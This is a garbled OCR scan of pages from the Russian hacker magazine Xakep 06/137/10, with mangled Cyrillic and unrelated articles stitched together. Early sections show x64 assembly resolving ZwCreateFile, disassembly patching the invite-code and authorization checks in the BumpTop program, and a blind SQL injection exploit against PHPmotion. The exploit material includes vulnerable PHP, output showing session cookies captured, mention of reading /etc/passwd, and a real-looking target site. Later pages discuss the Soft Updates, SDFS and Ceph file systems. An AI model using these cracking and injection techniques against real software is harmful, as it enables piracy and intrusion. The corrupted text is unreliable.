i AddressOfNameOrdinals RVA mov ebx,dword ptr [r12+24hJ

iNameOrdinals VA add rbx,rcx

; index in address table into r8

mov r8w, word ptr [rbx+r8*2] i Kna~eM 3HayeHWe

MH~eKca B Mna~illee enDED perMCTpa r8 and r8d,OFFFFh

sub rbx,rbx

mov ebx,dword ptr [r12+1ChJ add rbx,rex

sub r12, r12

mov r12d, [rbx+r8*4] ; xnane» B anenuree ,lJ;BOMHOe CJ10BQ per-nc-rpa r12 RVA HYIKHoiiJ HaM rpYHKu;MIrI

i B perMCTpe rcx nonyYaeM a~pec ~YHKUMM ZwCreateFile add rcx,r12

not found:

KaK B[;1,IJ,VlWb, 3TOT KO,IJ, [;1MeeT ,IJ,Ba cyutecraeuuux He,lJ,OCTaTKa. Bo-nepBblx, 11 He xeuu-pyo lt1M)=! CPYHKLJ,I-1Vl, a l1CnOJlb3YKl nOCVlMSOJlbHOe cpaBHeHl-1e BO-STOPbIX, OTCYTCTsyeT onTVlMIo13aLJ,Vl)=!.

Teneps KOMn[;1JlVlpyeM Apalilsep c nOMoUJ,bfO ml64, a OTJla,IJ,04Hbli:t SbIBO,lJ, CMOTP"M B DbgView.

npa8101JlbHOCTb nonyveauoro anpeca MO>KHO nposepurs B livekd. AJl)=! sroro BBe,IJ,eM KOMaHAY:

u rronyyeHHbIM_a.upee

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. text: 004862B4 cmp byte ptr [eax+8BhJ I 0

; cpaBHeHMe nepeMeHHoH C 0 .text:004862BB jnz short loc_4862C2

XAKEP 06/137/10

Addr. .. Length T .. String
'~ ... " .rde ... 0000002E C Please Enter a Keyword to Search FlickR with:
.... .rde ... 0000002C C Please Enter a Keyword to Search Snap with:
Bump Top has been successfully installed. .... .rde ... 00000027 C Please Select a Directory to Load From
.... .rde ... 00000026 C Please call curl_ multi_perform{) soon
.... . fda ... 00000041 C Please enter the name of the directory this Pile wi ... Please enter your invite code:

Ok Cancel

Please use Windows Update to check for any critical updates to the .t~ET Framework.

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Tonsxo 'lTO 3any~eHHblH Bumptop beta 12

A new version of BumpTop is available! (vcurs: ISS2,Newest: ISS9)

Update Description:

Beta 15 - Improved text readability, eesier-tc-henee pinned items, and more. Full details at http://bumptop,comfdownloadd

We've automaticaiy downloaded the update for you, would you like to update now?

06HOB~M Hawy cTapylO 6eTY Ha HOBYIO?

ycnoanaa nepexon

.text:004862BD call sub_41B350 iB~30B @YHK~MM

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HHYErO HE nPE,llBEU(AnO 6E,llbl HllH BUMPTOP RELOAD ...

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XAKEP 06 /137/10

Close

rda 0000001 F C Please enter your rnvrte code

.... .rda ... OOOOOOOD C Pol_yBezierT 0
.... .rda ... 00000009 C PolyDraw
.... .rda ... 00000008 C PolylineTo
.... .rda ... 00000018 C Port number too large: %Iu
.... .rda ... OOOOOOOD C Postbtesseoea
.... .rda ... 0000001B C PostQueuedCompletionStatus vi
(Ui(lnnn1 n c O ...... h~i1
line 3239 of 8212 ._.
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.text:0041EE2D test al. al

iycnOBI.1e

.text:0041EE2F jnz lac_41EED2 .text:0041EE35 push ecx

.text:0041EE36 mov ecx, esp .text:0041EE38 mov [esp+OECh+var_CO], esp

; ycnoanecr nepexon

. text: 0041EE3C push offset aAuthorizationf

; «AuthorizationFailed»

.text:0041EE4l call ds:??OQString@@QAE@PBD@Z .text:0041EE47 lea eax, [esp+OE8h+var_BO] .text:0041EE4B push eax

.text:0041EE4C mav [esp+OECh+var_4], 2Fh .text:0041EE54 call sub_422550

iB~30B HaweM ~YHKQMM

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$selector_audio_id = mysql_real_ escape_string($_GET['vid']);

XAKEP 06 /137/10

[+] ABTopH3yeMCH, ..

[+] KYlCK nOJl}1'ieHbI PHPSES~'ID=('rE'Oi('S('2S('60603b39';'6b16994bdc2a

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96-100-104

96-98-100

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I-I CHMBon nonyxea: a l-l Ilcnyxaea CIiMBOJl #2 0-64-128

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100-102-104 100-101-102 100-100-102

[-J Cnaeon nonyaeu: d

blind sql-injection axcnnoiir Ami PHPmotion

Video Sharing

nOKaZan, n04Q06Hb!!!: cae.!!eHlI1l 3:41 (4 'I. Ha3a,1:1) +, Onen<TI,

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COAep>KI1MOe /etc/passwd Ha MoeM e-mail

If A A ••

II V V ••

Your members can upload videos, add description and lags, Videos can also be embedded on other v .... ensiles 10 add rich rneola .. see more

Image Gallery

AI)art from heing a video shadng script, your members will be able 10 upload pictures and create image albums also. p" image gallery viewer Is also built in.

Uploading music or audio is another of the many features, buill into PHPMolion. Mp3 S!18ring , pl1010 snartnq, t)logs .. the tlst is endless, Check II oul

Ocjll1Lll1anbHblM CaMT ABI1>KKa PHPmotion

Upload Music

$selector_sql :::: "SELECT * FROM audios ~vHERE mysql_real_escape_s tring ($_GET [ I rate_id ' ] ) ;

indexer = $selector_audio_id AND approved $rate_video_rating =

=' yes' " ; mysql_real_escape_string ($_GET [ 'rate' ] ) ;

?>

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$flag_sql = "SELECT * FP.OM rating WHEP.E video_id = $rate_video_id AND user_id = $user_id" ;

$flag_query = @mysql_query{$flag_sql); $flag_count = @mysql_nuffi_rows($flag_query); if ($flag_count != 0) (

@mysql_close{); error_redirect(117);!!"You have already rated this video.

else

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?>

~ links

• downloads.phgmo!jQn.com!V2/PH PMOll_ON_EHP5.zip - PHPmotion 2.0

• downloads.phgmolillD. com!V3. 0/p.hp5L pJJPmotj_on~ - PHPmotion 3.0

• snipper.ru/view/17/ !l.b.Jl_motion-2xratep.hp-bli nd-sglo inje,-tlon-e.KllillilL

- PHPmotion 2.x rate.php blind sql injection exploit

• www.p.hpshleld.com - phpShield

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PHPmotion Server Administration

~ http://videos,sam-worthington ,net! audio, php ?Ioad=membersaudio&uid= 1,2

logout

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Video

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Ilif search

$term = rnysql_real_escape_string ( 5 POST 'search']);

$resu1t_sq1 = "SELECT * FROM member _profile WHERE user_id

$term ORDER BY user_name .A.SC LIMIT $set_limit, $limit";

$header_title = 'Todays (new)';

?>

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user() - samworvd_ricarda@ localhost

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rJ1Y60KOE npOHHKHOBEHHE

<?php

Stemp_dir = $_REQUEST['temp_dir']; 1/ Get all the posted values from the .param file

$_POST_DATA = getPostData(

$temp_dir, $_REQUEST['tmp_sid']);

foreach ($_POST_DATA as $post_key => $post_value)

if (preg_match("/'upfi1e_/i", $post_key)) ( $uploaded_file_name $post_va1ue;

function getPostData( $up_dir, $tmp_sid) (

$paramFileName = $up_dir $tmp_sid . ". params" ;

$fh = @fopen($paramFi1eName, 'r') ;

while (!feof($fh))

$buffer = fgets($fh, 4096); list($key, $value) =

explode ( '=', trim($buffer)); $value = str_replace( "-EQLS··" , "=", $value); $value = str_replace( "--NWLN--", "Irln", $value);

$param_array[$key] = $va1ue;

XAKEP 06/137/10

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New Sam Worthin9ton Photos added!

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Ans=t peWeHII1)=13TO~ np06neMbi MO>KHO ucnonsaoaare KOM6111HII1pOBaHHblilt pe>KlI1M aanuc». npll1 KOTOPOM MeTa)J,aHHble 6Y,lJ,YT 3anll1CaHbi B CII1HXPOH-

HOM pe>KlI1Me, a )J,aHHble - B a01HxpOHHOM. Torna ¢aTanbHblx OWlI160K CDC MO>KHO lI136e>KaTb, 111 naxe eCflll1 c60ilt np0Il130~,IJ,eT Me>K)J,y BTOPblM III TpeTbVlM uierov BbIWenpII1Be)J,eHHo~ nocnenoaareru-uocrw. OW1l16KII1 6Y)J,eT nerxo II1CnpaBII1Tb C no-rouisto aetnon HeHII151 fsck )J,a>Ke Ha Y>Ke CMOHTlIlpOBaHHoVl CDC. Ho BOT 3aca)J,a: CII1HXpOHHbl~ pe>KII1M 3anll101 n Pll1BO,D,II1T K «or oceansHblM norepsu np01ll3Bo)J,II1TenbHOCTlI1, a cas-a aaru-rct, lI1,D,eT OyeHb Me)J,neHHO. Anrl ofixozia 3TOVl np06neMbi B csoe BpeMs:I 6blilO noennoxeuo MHO>KeCTBO pa3m.14Hb1X cnocofioa. 1113 KOTOPblX oc06eHHO nonynl=lpHblM cran MeXaHI.13M >KypHaJ1l1lpOBaHII1s:!_ CYTb npocra: r)J,e-TO B ¢ailtnoBoilt CVlCTeMe OTBO)J,VlTCI=I He6onbwoilt Y4aCTOK )J,nR XpaHeHlt1)=1 xypuana. kcrna B03HlIlKaeT sanpoc Ha coaaauue II1nll1 MO,Il,lI1cpIl1KalJ,1I11O cpaVlna, BC51 VlHcpopMalJ,II1R 06 Vl3MeHs:leMbIX

n pVl 3TOM MeTa,Il,aHH blX 06bep,lI1Hs:leTGl 1-1 noucuiaercs B >KypHan C nOMow,blO e)J,II1Hoilt aToMapHolll c tepauuv aanucu. HenOCpe,lJ,CTBeHHa51 >Ke 3am1Cb MeTap,aHHbIX npOIl1CXO)J,lI1T 8 aCII1HXpOHHOM pe>KI-1Me. B MOMeHT, «orzia ace Mera)J,aHHble cpailtna norianyr Ha p,II1CK, COOTBeTCTBYIOw,as:l 3anl-1Cb ynanserCI=I1I13 xypuana. B cny-rae C6051 ,lJ,ns:l npIl1Be,lJ,eHlt11=1 CDC B HenpOTV1BOpeYIt1BOe COCTOSiHlt1e 6Y)J,eT )J,OCTaT04HO npocro 1I138ne4b V13 >KypHana see 3anVlCVlll1 npVlMeHlt1Tb VlX K cpa~noBoilt CVlCTeMe. 3TO pa3YMHbl~ KOMnpOMVlCC Me>K,lJ,Y np0I-13BOp,I-1TenbHOCTblO 111 cTa6l11nbHOCTblO: XOHl 3amlCb 8 >KypHan 111 cxaauBaeTC)=I Ha npOVl3Bop,II1TenbHOCH1, HO naneko He TaK ClI1nbHO, KaK ClI1HXpOHHas=t aanac., MeTa)J,aHHblX Ha ,Il,lt1CK, npll1 KOTOPOtl! ronoexe BlI1H4eCTepa nplt1XOp,II1TCri MeTaTbCI=I Me>KAY pa3HblM!t1 Y4aCTKaMlI1 p,I-1CKa.

XAKEP 06 /137/ 10

20

TCP

-- no replication I

"' 2x replication I

.s15 3x replication /

is I r--

c; sync write ---,~..;'.r

~10 sync lock, async~:t:<::::::?>"",-

~ :!='=~=~=-~:'~~-=~=-~=-=~~~=-=~=~=-~=-~;'=~='~='=-':.=--=-==~----,-----,-~Q:<-,

4

64

Write Size (KB)

BpeM51 o~<lIIgaHM513anMcM gaHHblx ODHIIIM KnMeHTOM B KJlaCTe~ Ce~h

16

256

1024

Pa3pa6oT4lt1KVl FreeBSD noumn no npyros-y nyrn, npll1MeHII1B MexaHVl3M nor; Ha3BaHVleM «MSirK!t1e o6HoBneHVlR» [Soft Updates). B AByX cnoaax, ero cyrs 3aKnlO4aeTCS1 S V1cnonb30SaHII1I11 cncuuansuoro K3wa cpa~JlOSOVl CVlCTeMbl )J,nSi XpaHeHII1S1 \.13MeHeHII1Vl MeTaAaHHbIX, VlX 06be,lJ,II1HeHlI1l=1!t1 nO)J,,[J,ep>KKII1 3aB~C~MOCT~ MelKAYAPyr APyrOM. 3TO rapa-rrapyer npaB~nbHylO nocncnoBaTeJlbHOCTb 3anVlClt1 MeTa)J,aHHbIX Ha A\.1CK lI1 B TO >Ke BpeMs:! He rpebyer VlX CVlHXpOHHO~ 3anIl1CV1. npV1 Vlcnonb30SaHlI1Vl «Ms:lfKIIIX 06HOBneH!t1t1!» C60Vl MO>KeT npV1BeCTII1 TOllbKO K,[J,ByM HecornaCOBaHHOCT51M cpaVlnOBOtl! CII1CTeMbl: noBII1CWlI1e inode V16nOKV1. OHV1 He OTHOClncSi K rn06aJ1bHblM HeCOOTBeTCTBlIIl=IM CDC [TaKII1M, HanpVlMep, KaK 6nOKV1, O,[J,HospeMeHHO anpecyevue p,ByMR inodel. n03TOMY OHa MO>KeT 6blTb CMOHTVlpOBaHa, a fsck 3anyw,eH B CPOHOBOM pe>KII1Me Ha Y>Ke CMOHTlI1pOBaHHol1 CDC [c06CTBeHHo, TaK V1 npoucxonar. Ha4V1- Hao c nOTa", BeTK~ FreeBSDI.

EAVlHcTBeHHblilt 3aMeTHbl1ll MVlHyC Soft Updates B cpaBHeHlIllt1 C xypuano» COCTOVlT B TOM, 4TO 3anyw,eHHblVl B CPOHOBOM pe>KVlMe fsck 3aMeTHO xyuiaer pecypcu, 4TO npV1 60JlbWlI1X o6beMax ,lJ,II1CKOB MO>KeT npll1BecTVl K ,Il,OCTaTOlJHO p,J1I11TenbHbIM nposanav np0Il13Bo)J,II1TenbHocTV1. CaMO co60ilt, rakce noncxeHVle Bel.ll,eVl He HpaBVlJlOCb MHOrVl'vl, VI, B KOHLJ,e KOHLJ,OB, KOMn3HlI1Vl iXsystems, Yahoo! \11 Juniper networks aCK!-1hyn!-1Cb»!-1 3an1l3T!-1Il!-1 A>Kecppll13a It1Cnp3Bneuue aroro He)J,04eTa

Hoeas CII1CTeMa >KypHaIlVlpOBaHII1i1 lpafiora Ha)J, KOTOPOtl! aenacs COBMeCTHO C asropov «MS1rKVlX o6HoBneHVlilt» - KltlPKOM MaKKY3VlKOM) crana HVl4eM II1Hbl M, KaK npocruv pecuuipeuaeu TeXHOJlOn1111 Soft Updates. B OTJl1114 lI1e OTTpa,Il,VllJ,VlOHHbIX CII1CTeM >KypHanll1pOSaHI.-1S1, OHa peracrpnoyer ronsko Te caMble onepauau Bblp,eIleHlI1s:1l11 OCBo6o>K)J,eHII1s:1 6nOKOB 111 inode, rorna KaK ace ocransuoe 6epeT Ha ce6s:1 MeXaH!t13M Soft Updates. bnaronaps arouy yp,anOCb,1J,OCTII14b MI.-1H!t1ManbHbIX pasvepos xypaana 1I160nee BblCOKOilt no cpaBHeHl.-11O C Tpa)J,VllJ,1I10HHbIM >KypHaJlll1pOBaHVleM np0Il13BO,Il,lI1TenbHOCTII1.

A~~SB~~~~g~~~~~~i~:H~~

MO)J,eIlb 06naYHbiX Bbl4111cneHVllll npuobperaer ace 60IlbWYlO nonynspuocn.. Ans:! MHOrl.1X KOMnaHV1Vl (Vl naxe 4aCTHbiX .nV1lJ,1 npow,e Vl auronuee apeunoears Ha BpeMs:! Y>Ke rorosue K pafiore Bbl)J,eneHHble BVlpryanbHble cepsepu, lJeM no cynars ncporccrosuuee cepBepHoe 060pY)J,OBaHlI1e Vl onna-n-aars ero nonnepxxy BlI1pryaJlbHble cepaepu YAo6Hbl, Ha,1J,e>KHbl, ux nerxo SOCCTaHOBI;1Tb nocne cfioes. O,[J,HaKo nposaanepy yCJlyr 06naYHbiX Bbl4l11CneHVlilt 111 X conepxauue 06XOp,VlTCR B KpyrneHbKYIO CYMMY, 4TO CKa3blBaeTCR Ha CTO!t1MOCTII1 apeunu, 111, cnenoaarensuo. Ha ncnynnpaocn- cpenu Knl;1eHTOB. B cpene npOBa~,1J,epOB nOCTORHHO ltl.o.eT nOVlCK cnocofios Y,Il,eWeSneHlI1s:! cO)J,ep>KaHI;1s=t BlI1pryanbHblx MaWVlH!-1 Bceilt VlHcppaCTpYKTYPbl B ueriou. O,lJ,II1H 1.-13 cnocofios czienars 3TO 3aKJllOlJaeTCS1 8 II1CnOrlb30BaHII1111 TeXHonorll1l11.o.e.n.ynnIl1KalJ,1.-1111 ,Il,aHHbIX, «oropas n03BonS1eT C3KOHOMVlTb cyu.ecreeuaue cpencraa Ha 06beMax ,lJ,VlCKOBOro xpauanmua

Ae,IwnJlI;1KalJ,1.-11=1 )J,aHHbIX npencrannser C060Vl npouecc IIICKJllOlJeHVl)=l 1;136blT04HOCTI.-1 p,aHHbIX nyreM y)J,aneH!-1R nl-1WHl-1X KOnl.-1M III Hq)QpMalJ,l-11-1 III coxpaaeaus Ha II1X MeCTe CCblflOK Ha e)J,I1HCTBeHHbltl! 3K3eMnIlS1p. YT06bl

~ 079

Sequential Block Writes

100

Write Unique Characters (put_c)

8D

12D
1DO
a; 80
"
60
40
20
EXT4 128k 64k 32k
SDFS Block Size Reading Character Data (all unique)

80

60

a;

"

40

20

4k

np0V13BOAf1TenbHOCTb SDFS VS. Ext4 B TeCTaX bonnie++

nousrs. nOLfeMY 3TO TaK Ba>KHO, li1 CKonbKO Ali1CKOBOro npOCTpaHCTBa MO>KHO C3KOHOMVlTb, npencraas ce5e cneAYIOw,ylO KapTV1HY: TbI3aHVlMaeWbC51 npeAOCTaBneHV1eM ycnyr rnna «BV1pryaJlbHbl~ cepsep s apeuny»: Vl.o.n51 ruofioro cbpamsurerocs K rebe KllV1eHTa cosnaeu.s BlllpTyanbHbli:1 cepsep

Ha aCHOBe Red Hat Enterprise Linux 5.,D,ena Vl,D,YTXOPOWO, nOTOK KllVleHTOB pacrer, 111 scxope I>1X KOJlll14eCTBO nptr15nll1)!(aeTC51 K OTMeTKe 1000. T blli1MeeWb XOPOWYIO npll15blllb, HO 60nbWa51 ee -racrs YXOAli1T Ha nOKynKY ucaoro xenesa. ECJlli1 npe,D,CTaBII1Tb, 4TO Ka>K,D,OMY KJlll1eHryTbl Bbl,D,eJls:leWb 1016 p,V1CKOBoro npOCTpaHCTBa, TO ,.D,Jl51 06CJlY.>KI!1BaHII151 1000 KJll!1eHTOB refie nOHa,D,06I!1TC51 npl!lMepHO 10 T6 ,[l,V1CKOBoro npocTpaHcTBLl, a 3TO ckono 20 >KeCTKV1X ,[l,V1CKOB no 500 16 Ka.>K,D,bIVi. npVl3TOM KaK MVlHV1MYM 4eTbipe Vl3 HIIlX VlCnOJlb3YIOTC51 ,D,n51 xpaHeHIIl$1 O,D,HV1X VI TeX.>Ke AaHHbIX, Be,D,b 6a30BaS1 V1HCTanmH..\V151 DC 3aHVlMaeT orono 216, a see 3Hl KJlV1eHTbllt1CnOJlb3YIOT OgHy OC. CJlO)f(1-18, nonY4aeM 2 T6 KonVl(ii KonVliit KOn\t1(ii 6a30Boll1 VlHCTaJlJl51ll,V1V1 Red Hat Enterprise Linux 5. npV1MeHV18 ,lJ,e,lJ,ynJlV1 ka LJ,1I1 10 , Tbl CMor 6bl Vl36a8V1TbcS1 OT scex 3TV1X KonV1~, OCBo6o,D,V1B conVl.o.Hbl(ii Y4aCToK npocrpaacraa, xoropoe 3aH51nV1 5bl ew,e 209 KJlV1eHTOB!

nO,lJ,,D,ep>KKa ,D,e,IJ,ynnV1Kau,V1V1 ,D,aHHbIX cyuiecrayer B HeKOTopblX peWeHV151X NAS V1 KOMMep4eCKlllX nporpaMMHblX nponyxrax. OHa 6blJla ,lJ,06aBJleHa B oafinoayio C"CTeMY ZFS B Ho"6pe 2009 rona, a COBceM Hel\aBHO 6blna BblnYl11eHa l\el\ynn"~"pylOl11a" pacnpenene-u-as q,ai:1noBa" C"CTeMa SDFS, paspaboTaHHa" B paMKax orxpuroro npcexra Opendedup (www.oDendedup.orgl. Hecuorps na Ha3BaHiI1e, SDFS He ~BJlS1eTCS1 cpa(iinoBOIl1 CV1CTeMOYI B np51MOM CMblCJle cncaa. 3TO npocr oaxa. HanVlCaHHa$1 Ha 513blKe Java iI1 peanusoSaHHa51 C Vlcnonb30BaHV1eM MeXaHI!I3Ma ,D,JlI1 C03,1J,aHIII51 cpaVinOBblX cucreu npOCTpaHCTBa nonsaoaarena fuse (fuse.sf.netl. SDFS COCTO"T"3 cnenyioUJ,IIIX KOMnOHeHTOB:

1, Fuse Based File System. CDaiilnoBaS1 CIIICT€Ma ypOBH51 nonb30BaTeJ151, npep,OCTaSJlS1IOw,aS1 ,D,ocryn K cpaG1naM V1 xaranorau.

2. Oedup File Engine. CepBV1c Ha cropoue KlliI1eHT3, KOTOPblVt npil1HVlMaeT see aanpocu Ha ,lJ,OCTyn K cpa~JlaM OT cpaVinoBo(ii C\I1CTeMbl VI orae-raer aa xpaHeHille MeTaAaHHblX III «apru ,lJ,y6J1I11KaTOB, CBS13aHHbIX C cpaillnaMVlIII KaT3JlOraMIII. 3. Deduptication Storage Engine. Cepsepaas cropoua, 1\8")I(OK l\eIWnn"Ka- 1I,1IIV1. OTBe4aeT aa xpaHeHV1e, 1113Bne4eHllle li1 YAaneHllle nOBTOp51IOW.li1XC51 ,lJ,3HHbIX. AnSi xpaHeHVl51 p,aHHbIX IIIcnollb3yeT HItI3Jle>Kaw,ylO cpaYilloBYIO CIt1CTeMY Yllll11 XpaHV1JlVlw,e Amazon 53, ItlH,IJ,€KCV1PY515nOKVI C nOMow,blO x3W-Ta5JlV1LJ,bl Ha scex MaWi--1HaX, korcpue ,[\OJl>KHbl yyaCTBOBaTb B XpaH€HVlVl AaHHbIX, 3anYCKaeTGI ABVI>KOK,IJ,e.o.ynJl III «a LJ,iI1 VI. Ha KnVleHTCKIllX MaWV1Hax, ncnonsayioW,V1X XpaHV1JlV1w.e gaHHblx, 3anYCKaeTCR cepBV1C Oedup File Engine, KOTOPbl1l1 nO,lJ,Kn104aeTC51 K,D,OcrynHbiM ,ll,BIII>KKaM p,€,D,ynnV1 Kall,lIl VI VI ncnyvaer nocryn K XpaH"n"l11Y. An" 06111eH"" C Dedup File Engine q,a"noBaR ["CTeMa (Fuse Based File Systemi "CnOnb3yeT MeXaH"3M J NllJava Native Interfacel.

KpoMe CTaH,D,apTHOYI cpa !linoBoY! CV1CTeMbl,!J,1l51 xpaHeHIII$1 ,lJ,aHHblX MO>KeTlIIcnonb- 30BaTbCR xpa-nnuute Amazon S3. 06111"" pasvep CDC cnocoben 1\0[T"raTb8 n6, MaKCIIIMaJlbHbl~ pa3Mep onuoro cpaG1Jl3 ~ 250 16. cpi1V1nOBaS1 ClI1CTeMa MD>KeT 6blTb «paavaaaaa» no 256 pa3JlVl4HbiM XpaHVlJlVllLlaM, 06cJlY>KVlSaeMbIM Deduplication Storage Engine. Bbl51BneHllle VI YCTpaH€HIII€ ,IJ,y5nIllKaTOB,IJ,aHHbIX npolIICxO,lJ,lIIT

Ha yposae bnokoa pa3MepoM 4 K5. CDa(iinosaS1 CV1CTeMa cnocofn-a npOVl3BO,lJ,VlTb

~ 080

,IJ,€,D,ynnIllKau,1II1O -ranery [BO speM513anV1CV1 HOBblX,IJ,aHHblX) III11Vl >Ke 3anYCKaTbCQ B npcuexyrxax HalllMeHbWetll aKH1BHOCTVI onepauua BBop,a-BbIBO,lJ,a KaK¢oHoBbl(ii npouecc. Cpen-i npyrux oco6eHHOCTe" SDFS MO)l(HO OTMeT"Tb nonnepxxy CHanWOTOB HaypOBHe ¢aillJlOB 111 «aranoros. nO,iJ.1J,ep>KKY3KcnopTa C nOMOUJ,blO npOTOKOnOB NFS Vl CIFS III,1J,OCTaT04HO BblCOKYIO np0Il13BO,IJ,IIITeJlbHOCTb.

CEP_H - PACnpE,lJ,EnEHHA~ <l>A~nOBA~ C~CTEMA

CV1ryaLJ,lII51 C pacnpe,D,eneHHbIMV1 ¢a~JlOBbIMV1 CIllCTeMaMIII B MiI1pe Open Source narieka OT lII,ll,eana. CYl..l.I,eCTByeT MHO.>KeCTBO rOTOBblX ,lJ,n~ npoMbIWJleHHO~ 3KcnnyaTalJ,V1i11 npOeKTOB, O,IJ,HaKO Hili O,D,V1H 1013 HiI1X He MO>KeT noxeacrareca XOpOWIIIM C04eTaHV1eM Sa.>KHbIX An 51 pacnpeneneuuux CDC xapaxrepucrax. O,lJ,HII1 o bnana lOT BblCOKOIl1 Ha,IJ,e.>KHOCTblO, HO npcaanasaor recrsi Ha npOIll3BO,lJ,V1TenbHOCTb, npyn-e BbIPbIBaIOTC~ B Jlll1,1J,epbl no CKOPOCTV1 nocryna. HO 05ecne4111BalOT He caMblW ny4wlIlll1 noxaaarer s Ha,lJ,e>KHOCTV1 V1 pacunapaet-rocrn. TpeTbV1 MOryl paCTV1 n04TIII,D,0 6eCKOHe4HOCTI;1, HO iI13,D,eBaTeJlbCKV1 MeAJleHHbl. He y,D,VlBV1TenbHo, 4TO IIICClle,lJ,OBaTenbCKV1e paboru B 3TO~ ofinacru Be,lJ,YTul aenpepua-ro. V1 n04TV1 Ka>K,IJ,bIVi ro,IJ, Mbl CTaHOBIIIMCS1 CBIII,IJ,eTen51MIII pO>K,D,eHlIl51 HOBOI~ pacnpenene-n-cn CDC, KOTOpa$1 npereuziyer ua 3BaHV1e lII,1J,eana. 3TO nponaouino III C ¢a(iinoBo(ii Cli1CTeMOVI Ceph, «oropas oxaaanacs HaCTOJlbKO ycneun-oji. 4TO KO,IJ, ee KnllleHTa 6blno peuieuo BKJlIO""Tb B l.inux-snpo aepcuv 2.6.34.

Ceph [http://ceph.newdream.neli ~MeeT 1\0CTaTO"HOI\OnrylO ~CTOp~1O pasBV1TV151; anepsue ee apXII1TeKTypa 5blJla onncaua aBTopOM C3V1,D,>KeM BlllnoM B ero l\"nnOMHoi1 pafiore B 2006 rony. K Ho"6plO 2007 rona OH npencraewt cTa6V1nbHYIO eepcuo. pearnaaoaauayio C lIlCnOJlb30BaHllleM fuse, li1 Ha4aJl paborars Hal\ pean"3a~"e" MOl\ym I\n" nnpa Linux. CerOI\H" Ceph yxe ,lJ,OCTaT04HO cTa6111JlbHa ,lJ,n~ nOBCe,lJ,HeBHOro lIlcnOnb30BaHV1~.

CpeAIII rnaBHblX nnlOCOB Ceph aBTOp OTMe4aeT cneny.o.uue:

• COBMeCTlIlMOCTb co cTaHgapToM POSIX;

• n poapa-u-oe MaCWTa6V1pOBaHllle OT ,D,eC51TKa,lJ,O TbICs:l4V1 Y3nOB;

• 05w,1II(ii 06beM XpaHI!IJllIIl..l.l,a [MO>KeT COCTaBJl$1Tb COTHV1 neTa5aViT];

• BblcoKllle noxaaarenn nocrynuocra V1 Hap,e.>KHOCTIII;

• N-way penJlV1Kau,lo1~ scex AaHHbix Ha MHO>KeCTBO Y3JlOB;

• ABTOMaTII14eCKaS1 pe6anaHCV1pOBKa ,D,aHHbIX B cny-rae ,D,06aBneHV1I=1/YAaneHV1s:1 ysna ,D,Jl51 60nee 3¢¢eKTVlBHoro V1cnonb30saHV1S1 pecypcos:

• npOCTOTa pa3BepTbIBaHlt1S1 (6onbwVlHCTBO KOMnOHeHTOB ¢a(iinoBo(ii Clt1CTeMbl peanuaceauu B BII1,D,e ,D,eMOHOB npocrpa-rcrsa nonb30BaTem1];

• HaJlV14111e fuse-knueura:

• HaJlw.Jllle KnllleHTa ,lJ,n)=! s:I,IJ,pa Linux.

B OTn"""e or xnacrepaux q,a"nDBbIX C"CTeM, TaK"X KaK GFS, OCFS2" GPFS, «oropsie onapaiorca Ha cV1MMeTpIll4Hbl~ nocryn scex KnllleHTOB K 06W,IIIM 6no4HbiM YCTpOIl1CTBaM, Ceph pa3,D,eJl51eT ynpaane-uie ,ll,aHHbIMVl V1 MeTa,ll,aHHblMII1 nYTeM lt1cnOJlb30BaHlIIs:I He3aBlllCIIIMbiX KJlaCTepOB (npI!IMepHOTaK>Ke, KaK 3TO nenaer LustreJ. O,JJ.HaKD, B OTJllll4111e OT nOCJle,D,He(ii, yanu, ynpasJl$1IOw,V1e MeTa,lJ,·aHHbIMIIIIII XpaHV1JlIl1l.L1,eM, He rpebyior KaKo(ii 5bl TO HIII5blJlO nO,Il.,Il.ep>KKIll co CTOPOHbl snpa: BeCb KOA pafioraer B npOCTpaHCTBe nonsaoaaTen51. ,D,nS1 xpaHeHIII51 06beKTOB,IJ,aHHbiX Y3Jlbi MOryl IIlCnOJlb30SaTb 5Jl04Hbie

XAKEP 06 /137/ 10

Write Performance over Time

Block Reads
120
100
eli 80
'"
60
40
20 .EXT4 .64k
.128k .32k
250
200
J!1 150
CO
2
100 Writes (MB)

n~O~3BOA~TenbHOCTbSOFS

B 3aB~C~Mocn1 OT KOnW-IeCTBa 3an~C~BaeM~XAaHH~X

YCTpOf1CTBa, obpasu "n" H"3ne>Kal11Y1O q,af1noBYIO C"CTeMY. KorAa OA"H"3 Y3JlOB naer c6oVl. ,lJ,aHHble penJlVlL.J,VlpYIOTC)=I CaMli1MlII Y3JlaMVI, onaronapa 4eMY nocrvraercs BbICOKV1111 yposeHb 3¢cpeKT!I1BHOCTVI V1 Macwra5V1pyeMDcH1. Cepaepu. OTBe4alOUJ,V1e aa XpaHeH\I1e MeTaAaHHblX [metadata server], npezicrasnsuor ccfiof He4TO apone 60JlbWOro COfnaCQBaHHOIO pacr penene-uroro ksura H3 sepunu-e xnacrepa-xpaaanwu.a. KOToPblVi ,lJ,V1HaMII1'-leCKVI nepepacnpenenser Mera,lJ,aHHble B orser Ha V13MeHeHlt1e HarpY3KII1 VI nerxo nepeuocvrr BbIXOp, Y3JlOB \113 CTPOs:l. Metadata server V1CnOJlb3yeT oco6blVl nonxon ,lJ,Jl$1 xpaHeHVlI=I Mer3AaHHbIX, KOTOPblVi noaaonaer ,lJ,OCTV14b BbICOKV1X noxasarenea np0Y13Bop,I.1TenbHOCH1. Hanpuvep. inode-aarmcs. Y1MelOw,as:! TOJ1bKO Op,Hy >KeCTKYIO CCblJ1KY, noveuiaercn nps:lMO S xaranoroeyro 3am1Cb n03TOMY KaTaJ10r SMeCTe co SCeMl-1 ap,pecyeMbIMl-1l-1M inode'aMl-1 MO>Ker 6blTb sarpyxea S K3W C nOMow,b~J Op,HO~ onepaunu aeona-asraona. COp,ep>KY1MOe O'-leHb 60nbWY1X «arenoroe cpparMeHTY1pyeTcs:I \11 0 uiaercs ua ynpaanetu-e He3aBIIICl-1MbIM metacata-cepaepau. 6naro,[laps:l yeMY onepauiuo nocryria K «aranory MO>KHOnerKO pacr apannenurs.

